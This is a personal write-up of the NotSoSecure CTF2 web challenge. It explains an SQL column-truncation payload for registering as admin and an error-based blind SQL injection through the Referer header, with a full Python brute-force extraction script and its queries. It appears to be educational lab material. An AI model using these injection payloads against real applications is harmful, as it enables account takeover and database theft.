NotSoSecure CTF2 Writeup

Since for the first NotSoSecure CTF I had a lot of fun, I joined again for the new version. It was harder than first time, but I finally got both flags.

Getting the first flag

The challenge's frontpage had a form, almost the same as first CTF. Looking at the source code, there was a weird string:

H4sIAAAAAAAAAAsyTs80LTEu0ssoyc0BACMzGYUNAAAA

I couldn't decode it using some basic ciphers so I was looking around the other files without success.

Then, I took the weird string and decided to look for it in Google. It didn't give any result but I thought that some other strings could share the same start letters, as an encoding signature. I was right and after reading a forum post I could decode it successfully.

$ echo 'H4sIAAAAAAAAAAsyTs80LTEu0ssoyc0BACMzGYUNAAAA' | base64 -di | gunzip -
R3gi5t3r.html%

This was almost the same form as in the first CTF. I registered the user testcl and after logged in, it displayed my username in the page.

I could register an user in the register form and then log in at the frontpage form, but neither of them were vulnerable to SQL injection. I saw that if you tried to register an already registered user, it would show an error, so there were a SELECT and an INSERT statements.

There were no hints about it at that moment so I had to rethink it. I remembered that in the Web Security Workshop I explained to my students a nice vulnerability, so I would try the same here. This kind of vulnerability is called SQL Column Truncation and is easily exploitable.

I took a look at the form:

<td><input name="regname" type="text" size="20" placeholder="username" required/></td>

and guessed that username length at database schema was 20 chars. Then I created my payload following the structure displayed at line 1, resulting in the string at line 2:

username + (20 - len(username) * %20) + any char
admin%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20q.

I sent the request:

GET /9128938921839838/register.php?
regname=admin%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20q
&regemail=nike%40example.org
&regpass1=1234zz5678
&regpass2=1234zz5678 HTTP/1.1
Host: ctf.notsosecure.com

and then I could log in successfully as admin, getting the first flag.

The SELECT statement didn't detect the duplicate user since SELECT doesn't truncate input, instead INSERT truncates the string and trims spaces.

Getting the second flag

It was harder than expected. I was a bit disappointed at the start because couldn't find any vulnerability. After first hint, I got clear where to look at.

The Referer field was being used in a SQL statement. The way to exploit it was using URL-encoded strings, since raw special characters would be escaped or deleted. After trying time-based SQL injection, I was clear that the goal was to extract data using an error approach. The question was: how do I trigger those errors in a controlled way? Here, NULL values or division by zero didn't trigger errors.

First I tried with the IF statement from MySQL, but as well as CASE, they weren't lazy evaluated. Both conditions, True and False, were evaluated without considering the condition, even when only one is returned as result. I had to find a function with lazy evaluation.

(Or as I read later in a hint, making both arguments to IF successful on runtime but one of them invalid for the context (returning more results than expected). My fault was that I tried passing as arguments invalid statements at any time, like selecting from mysql.user)

I ended up using ExtractValue in the following way:

# 0x5c = '\'
SELECT extractvalue(1, concat(0x5c, (%s)))

The %s string was replaced by my custom query to retrieve data from the database. This statement had two possible cases:

  1. My custom query returned NULL, so the second argument of ExtractValue was only \. The final call was extractvalue(1, '\'), which is valid and don't throw error.

  2. My custom query returned some value, so the second argument of ExtractValue was \value. The call was extractvalue(1, '\value') and it generates an error since the selector (second parameter) isn't valid for the XML string (first parameter).

The injection in the Referer displayed an 'Error' string in case that the query was invalid, else it displayed 'Thanks' string. At that moment, I could know whether I'm extracting data or not. My final payload injected in the Referer field was like this:

"a'+(select extractvalue(1, concat(0x5c, (%s))))+'b" % cmd

I created a script to exploit the vulnerability, based on the script I made for the first CTF. I only applied some modifications. If I got an 'Error' message, the custom query was right.

import requests
import re
import sys
import string

from urllib import quote


def is_valid_payload(payload):
    post_url = "http://ctf.notsosecure.com/9128938921839838/f33db4ck_flag/submit.php"
    data = {'name': 'hola', 'email': 'hola%40hola.com', 'message': 'hola', 'submit': 'Submit'}
    headers = {'Referer': quote(payload)}
    r = requests.post(post_url, data=data, headers=headers)

    if re.findall('Error', r.text):
        return True
    else:
        return False


def guess_next_letter(payload, flag, chars):
    for c in chars:
        new_payload = payload.format(flag + c)
        if is_valid_payload(new_payload):
            return c
    else:
        return None


def get_valid_chars(payload):
    chars = []
    payload = re.sub('\{0\}%', '%{0}%', payload)

    print 'Recollecting chars ...'

    for i in range(77, 126):
        c = chr(i)
        if c == '%':
            continue

        new_payload = payload.format(c)
        if is_valid_payload(new_payload):
            print 'Added char %s' % c
            chars.append(c)

    print "chars = %s" % repr(chars)
    return chars

if __name__ == '__main__':
    cmd = sys.argv[1]
    flag = ''
    payload = "a'+(select extractvalue(1, concat(0x5c, (%s))))+'b" % cmd
    chars = list(string.ascii_lowercase)
    #chars = get_valid_chars(payload)

    print 'Starting bruteforce ...'
    while True:
        letter = guess_next_letter(payload, flag, chars)
        if not letter:
            break
        else:
            flag += letter
            print "Guessed letters: %s" % flag

    print 'Flag: %s' % flag

Then, I made 3 queries to the script to know the flag. First, I asked for the table name, then column name and finally the first row in the table.

python phase_2.py "select table_name from information_schema.tables where TABLE_SCHEMA!='information_schema' and table_name like '{0}%'"

I got the the table name was flag.

python phase_2.py "select column_name FROM information_schema.columns WHERE table_name='flag' and column_name like '{0}%' limit 1"

And the column name was flag too.

After that, I had to extract the key. I used the get_valid_chars(payload) function to get a subset of chars in case it was a long flag to improve speed. The chars list was ['0', '1', '2', '3', '6', '9', '_']. Then I ran the script once again and got the flag.

python phase_2.py "select flag FROM flag WHERE flag like '{0}%' limit 1" ""
[...]
Flag: 1362390

I've been looking at other writeups and they used cool techniques to exploit this vulnerability, so you should take a look too. I'll be waiting for the 3rd CTF!